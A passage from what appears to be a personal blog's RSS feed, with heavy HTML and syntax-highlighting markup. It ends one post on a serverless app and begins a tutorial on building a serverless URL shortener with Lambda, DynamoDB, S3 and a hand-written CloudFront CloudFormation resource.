&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    events&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;schedule&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;rate(30 minutes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    memorySize&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;256&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  handle-task&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    handler&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;app.handle_task&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    reservedConcurrency&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    events&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;sqs&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          batchSize&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          arn&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Fn::GetAtt&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;              - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;TasksQueue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;              - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Arn&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    memorySize&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;256&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The API documentation is available @ &lt;a href=&quot;https://gh.skghosh.me/bargain/swagger/&quot;&gt;https://gh.skghosh.me/bargain/swagger/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The source is available @ &lt;a href=&quot;https://github.com/SkullTech/bargain&quot;&gt;Github&lt;/a&gt;. Please star it if you find it useful, and feel free to fork, make an issue, send a pull request, all of that.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A lot of improvements can be made to this application, but for now I just wanted a functional prototype that works for my personal use-case. I hope this article helped you in any way it can. And please leave a comment if you have any feedback or suggestion. I’m also planning to write a front end for this using React Native, so stay tuned for that. See you!!&lt;/p&gt;
</content:encoded></item><item><title>Building a Serverless URL Shortener using Lambda, S3 and Cloudfront</title><link>https://sumit-ghosh.com/posts/serverless-url-shortner-lambda-s3-cloudfront/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/serverless-url-shortner-lambda-s3-cloudfront/</guid><description>Building a Serverless URL Shortener using Lambda, S3 and Cloudfront — by Sumit Ghosh.</description><pubDate>Fri, 03 Jul 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been tinkering with the AWS cloud for about an year now, and I went ahead and got the &lt;a href=&quot;https://www.certmetrics.com/amazon/public/badge.aspx?i=1&amp;amp;t=c&amp;amp;d=2019-07-31&amp;amp;ci=AWS00914626&quot;&gt;AWS CSAA certificate&lt;/a&gt; too. But most of my AWS experience has been small edits to an already existing architecture, and that too for clients with their projects being closed source. I realized I don’t have a solid end-to-end cloud project that I can showcase in my portfolio, and I need one. So that’s how this project came to be. Moreover, through this project I learnt the &lt;a href=&quot;https://serverless.com/&quot;&gt;serverless&lt;/a&gt; framework and got more comfortable with Cloudformation templates. So let’s get into it.&lt;/p&gt;
&lt;h3 id=&quot;the-architecture-diagram&quot;&gt;The Architecture Diagram&lt;/h3&gt;
&lt;p&gt;Here’s a simple architecture diagram I made of the whole setup. Because, a picture is worth a thousand words or something like that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SkullTech/shorty.sls/master/architecture-diagram.png&quot; alt=&quot;Shorty serverless URL shortener architecture diagram&quot;&gt;&lt;/p&gt;
&lt;p&gt;I set out to accomplish a very common pattern—serverless API on the backend utilising Lambda and DynamoDB, and static website on the frontend hosted using S3. And it was easy enough, but the hard part was getting them working on the same domain, I’ll get to that later, let’s first go through the easy part first.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Note — You can find the full source code of the application on Github &lt;a href=&quot;https://github.com/SkullTech/shorty.serverless&quot;&gt;here&lt;/a&gt;, you can refer to that as you go through the article.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;serverless-backend-using-lambda-and-dynamodb&quot;&gt;Serverless Backend using Lambda and DynamoDB&lt;/h3&gt;
&lt;p&gt;The serverless framework makes this part a breeze. I followed &lt;a href=&quot;https://www.serverless.com/blog/flask-python-rest-api-serverless-lambda-dynamodb&quot;&gt;this tutorial&lt;/a&gt; from their blog, my code is basically the same with the Flask functions swapped out. The API uses the &lt;a href=&quot;https://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-lambda-proxy-integrations.html&quot;&gt;Lambda proxy integration&lt;/a&gt;, with the whole of the Flask application being used as a single Lambda function. This pattern has both pros and cons,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It lets you use existing frameworks for the back-end application, such as Flask. This makes development easier.&lt;/li&gt;
&lt;li&gt;If the application becomes large in size, it can result in slower Lambda invocations. Also there is a limit to the file size you can upload as a Lambda package, so keep that in mind too.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For smaller applications like ours, the cons become negligible, so it’s a suitable method for deploying our application.&lt;/p&gt;
&lt;p&gt;The backend also uses several serverless plugins to ease development and deployment.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It uses &lt;a href=&quot;https://www.npmjs.com/package/serverless-python-requirements&quot;&gt;&lt;code&gt;serverless-python-requirements&lt;/code&gt;&lt;/a&gt; for packaging requirements of the python application. It takes a look at the &lt;code&gt;requirements.txt&lt;/code&gt; file and accordingly bundles the requirements into the lambda deployment package when you run &lt;code&gt;sls deploy&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.serverless.com/plugins/serverless-wsgi&quot;&gt;&lt;code&gt;serverless-wsgi&lt;/code&gt;&lt;/a&gt; enables us to use a normal Flask application, containing traditional view functions, and upload it to Lambda directly. It acts as a layer between the Python’s &lt;code&gt;wsgi&lt;/code&gt; interface and the Lambda proxy integration interface. It also comes with a local development mode, &lt;code&gt;sls wsgi serve&lt;/code&gt; runs the application locally.&lt;/li&gt;
&lt;li&gt;Similarly, &lt;a href=&quot;https://www.serverless.com/plugins/serverless-dynamodb-local&quot;&gt;&lt;code&gt;serverless-dynamodb-local&lt;/code&gt;&lt;/a&gt; helps us to do local development with DynamoDB.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;static-frontend-with-swagger-api-documentation-using-s3&quot;&gt;Static Frontend with Swagger API Documentation using S3&lt;/h3&gt;
&lt;p&gt;For deploying the front-end part of the application to S3, I used the &lt;a href=&quot;https://www.npmjs.com/package/serverless-finch&quot;&gt;&lt;code&gt;serverless-finch&lt;/code&gt;&lt;/a&gt; plugin. It makes the whole process completely hassle-free, you’ll need to configure only one or two parameters in your &lt;code&gt;serverless.yml&lt;/code&gt; file to get up and running.&lt;/p&gt;
&lt;p&gt;The frontend is a simple one-page website made using Bootstrap, and to handle the form submission I wrote some custom JS. I also added a &lt;a href=&quot;https://github.com/swagger-api/swagger-ui&quot;&gt;Swagger UI&lt;/a&gt; page as an interactive documentation for my API. If you didn’t know what Swagger is, it’s an excellent API documentation tool. It requires an &lt;code&gt;yml&lt;/code&gt; file containing the details about your API—written in the &lt;a href=&quot;http://spec.openapis.org/oas/v3.0.3&quot;&gt;OpenAPI specification&lt;/a&gt;—and it creates a fully interactive documentation web page just from that. You don’t even need to read the whole specification to get started, Swagger has a &lt;a href=&quot;https://editor.swagger.io/&quot;&gt;great editor&lt;/a&gt; for creating the API specification, including a sample which you can just edit to your need.&lt;/p&gt;
&lt;h3 id=&quot;routing-using-cloudfront&quot;&gt;Routing using Cloudfront&lt;/h3&gt;
&lt;p&gt;Now comes the tricky part. I wanted to host both the frontend and the backend on &lt;em&gt;different paths in the same domain&lt;/em&gt;. For example, &lt;code&gt;https://shorty.skghosh.me/api&lt;/code&gt; would get directed to the API Gateway, and &lt;code&gt;https://shorty.skghosh.me/&lt;/code&gt; would get sent to the S3 static site. Not only that, shortened URL links such as &lt;code&gt;https://shorty.skghosh.me/vv3c1v&lt;/code&gt; should get sent to the Flask application too. This makes a bit complicated and involved. If I were to host the API on a different subdomain entirely, for example &lt;code&gt;api.shorty.skghosh.me&lt;/code&gt;, the whole thing could be set up just using appropriate DNS records, but my use case would need a bit more engineering.&lt;/p&gt;
&lt;p&gt;After several stack overflow answers and blog posts, I understood that Cloudfront is the right tool to solve this problem. In particular, this &lt;a href=&quot;https://github.com/serverless/examples/blob/master/aws-node-single-page-app-via-cloudfront/serverless.yml&quot;&gt;stack overflow snippet&lt;/a&gt; and this &lt;a href=&quot;https://apimeister.com/2017/05/09/hosting-a-cloudfront-site-with-s3-and-api-gateway.html&quot;&gt;blog post&lt;/a&gt; helped me a lot, and of course, the AWS docs. Also, there isn’t any magic serverless plugin to do this step, so I had to write the Cloudformation resource by hand. Let’s look at it.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;CloudfrontDistribution&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  Type&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;AWS::CloudFront::Distribution&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;  Properties&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;    DistributionConfig&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      Aliases&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;shorty.skghosh.me&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      Origins&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;DomainName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;${self:custom.client.bucketName}.s3-website.${self:provider.region}.amazonaws.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          Id&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;StaticS3Origin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          CustomOriginConfig&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            OriginProtocolPolicy&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;http-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;DomainName&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Fn::Join&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;              - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;              - - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;ApiGatewayRestApi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.execute-api.&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;AWS::Region&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;                - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;.amazonaws.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          Id&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;APIOrigin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          CustomOriginConfig&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            OriginProtocolPolicy&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;https-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          OriginPath&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;/dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      Enabled&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      DefaultCacheBehavior&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        TargetOriginId&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;StaticS3Origin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        ForwardedValues&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          QueryString&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          Cookies&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Forward&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;none&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;        ViewerProtocolPolicy&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;redirect-to-https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;      CacheBehaviors&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;PathPattern&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;/swagger*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          TargetOriginId&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;StaticS3Origin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ForwardedValues&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            QueryString&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Cookies&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;              Forward&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;none&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ViewerProtocolPolicy&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;redirect-to-https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        - &lt;/span&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;PathPattern&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;/static*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          TargetOriginId&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;StaticS3Origin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;          ForwardedValues&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            QueryString&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;            Cookies&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;              Forward&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;none&lt;/span&gt;&lt;/span&gt;
